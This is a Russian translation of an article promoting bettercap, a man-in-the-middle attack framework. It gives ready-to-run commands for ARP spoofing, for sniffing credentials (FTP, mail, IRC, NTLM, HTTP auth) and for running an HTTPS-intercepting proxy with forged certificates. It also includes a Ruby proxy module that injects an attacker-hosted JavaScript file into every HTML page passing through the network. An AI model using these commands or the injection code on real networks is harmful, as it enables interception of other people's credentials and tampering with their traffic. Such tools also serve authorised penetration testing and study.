Перевод: Анна Давыдова
Источник: n0where.net
Bettercap является полным, модульным, мобильным и легко расширяемым MITM инструментом и фреймворком с различными видами диагностических и наступательных особенностей, которые могут вам понадобиться, для проведения атаки «человек по середине» (man in the middle).
Существует ли в принципе полный, модульный, мобильный и легко расширяемый MITM инструмент ?
Если вы ответите «ettercap», позвольте мне сообщить вам кое-что:
- Ettercap был замечательным инструментом, но он уже отжил свое. Ettercap фильтры не срабатывают в большинстве случаев, потому что являются устаревшими и сложно внедряемыми ввиду особенного языка? на котором они написаны.
- Ettercap безумно нестабилен в больших сетях … попробуйте запустить исследование хоста более большей сети, чем стандартная /24.
- Да, конечно, вы можете увидеть соединения и сырой pcap материал, это забавная игрушка, но будучи профессиональным исследователем, вы захотите увидеть только важный материал.
- Если только вы не являетесь C/C++ разработчиком, вы не сможете просто так расширить ettercap или создать ваш собственный модуль.
Конечно, вы можете использовать более одного инструмента… возможно arpspoof для проведения фактического отравления, mitmproxy для перехвата HTTP материалов и введения ваших пейлоад и т.д. Не знаю как вам, но лично меня бесит, когда нужно использовать десятки инструментов для проведения одной единственной атаки, особенно если мне необходимо проявить чудеса черной магии для того, чтобы все эти инструменты заработали на моем дистрибутиве или на OSX … кстати, а что насчет KISS принципа?
- Документация bettercap
- Скачать bettercap
Так и родился bettercap…
Bettercap v1.5.9 Released
Особенности BETTERCAP
-
Динамическое раскрытие хоста + ARP спуфинг
Вы можете выбрать целью всю сеть или отдельный адрес, это не имеет значение, возможности спуфинга bettercap arp и многочисленные агенты раскрытия хоста сделают всю грязную работу за вас.
Просто запустите инструмент, и подождите, пока он выполнит свою работу … и, конечно же, к новым машинам, появившемся в сети будет получен доступ автоматически и конечно, … снова, KISS!
О, у вашего роутера есть какая-то встроенная защита от ARP спуфинга? Не переживайте, можно использовать полудуплексный канал.
-
Средство перехвата (Сниффер) учетных данных
Встроенное средство перехвата учетных данных теперь способно вскрывать и распечатывать из сети следующую информацию:
- Посещенные URL;
- Посещенные HTTPS хосты;
- Отправленные HTTP данные;
- Базовая и Систематизированная аутентификация HTTP;
- Учетные данные FTP;
- Учетные данные IRC;
- Учетные данные POP, IMAP и SMTP;
- Учетные данные NTLMv1/v2 (HTTP, SMB, LDAP, и т.д. ).
Примеры
Сниффер режим по умолчанию, все парсеры доступны:
sudo bettercap -X
Сниффер подключен и загружает только конкретные парсеры:
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
Сниффер + все парсеры подключены, а также разбирается весь локальный трафик:
sudo bettercap -X -L
Сниффер + все парсеры подключены и все сбрасывается в pcap файл:
sudo bettercap --sniffer --sniffer-pcap=output.pcap
Что если сохранять только HTTP трафик в pcap файл ?
sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"
Модульный прозрачный прокси
Модульный HTTP и HTTPS прозрачный прокси может быть начат с прокси-аргумента. По умолчанию он не будет делать ничего кроме протоколирования HTTP запросов, но если вы укажете –proxy-module аргумент, вы сможете загрузить свой собственный модуль и управлять HTTP трафиком так, как вам захочется.
Вы можете найти некоторые примеры модулей в посвященном этому репозитории.
Примеры
Подключенный прокси по умолчанию (8080) порт без модулей (довольно таки бесполезный ):
sudo bettercap --proxy
Подключить прокси и использовать пользовательский порт:
sudo bettercap --proxy --proxy-port=8081
Подключить прокси и загрузить модуль hack_title.rb:
sudo bettercap --proxy --proxy-module=hack_title.rb
Отключить спуфер и включить прокси (автономный режим прокси):
sudo bettercap --no-spoofing --no-discovery --proxy
Подключить HTTPS прокси с созданным в реальном времени сертификатом:
sudo bettercap --proxy-https
Подключить HTTPS прокси с пользовательским .pem сертификатом:
sudo bettercap --proxy-https --proxy-pem ./mycert.pem
Встроенный HTTP сервер
Вы хотите обслуживать ваши пользовательские javascript файлы в сети? Может, вы хотите ввести какой-то пользовательский скрипт или образ в HTTP отклик, используя прозрачный прокси модуль, но вы не можете использовать публичный сервер. Не переживай, приятель!
Встроенный HTTP сервер идет сразу с bettercap, позволяя вам обслуживать пользовательский контент с вашей собственной машины без установки и настройки каких-либо других программ типа Apache, nginx или lighttpd.
Вы можете использовать proxy module следующим образом:
class InjectJS < Proxy::Module def on_request( request, response ) # is it a html page? if response.content_type =~ /^text\/html.*/ Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page" # get the local interface address and HTTPD port localaddr = Context.get.ifconfig[:ip_saddr] localport = Context.get.options[:httpd_port] # inject the js response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" ) end end end
И затем используйте его для введения js файла в любой HTTP отклик сети, используя bettercap для обслуживания файла:
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
-
Зависимости
Все зависимости будут автоматически установлены через GEM систему, в некоторых случаях вам может понадобиться установка некоторых системных зависимостей для того, чтобы все заработало:
sudo apt-get install ruby-dev libpcap-dev
Стабильный вариант (GEM )
gem install bettercap
Вариант для разработки
git clone https://github.com/evilsocket/bettercap cd bettercap gem build bettercap.gemspec sudo gem install bettercap*.gem
Быстрый старт
Как только вы установили bettercap, сразу приступайте к работе с:
bettercap --help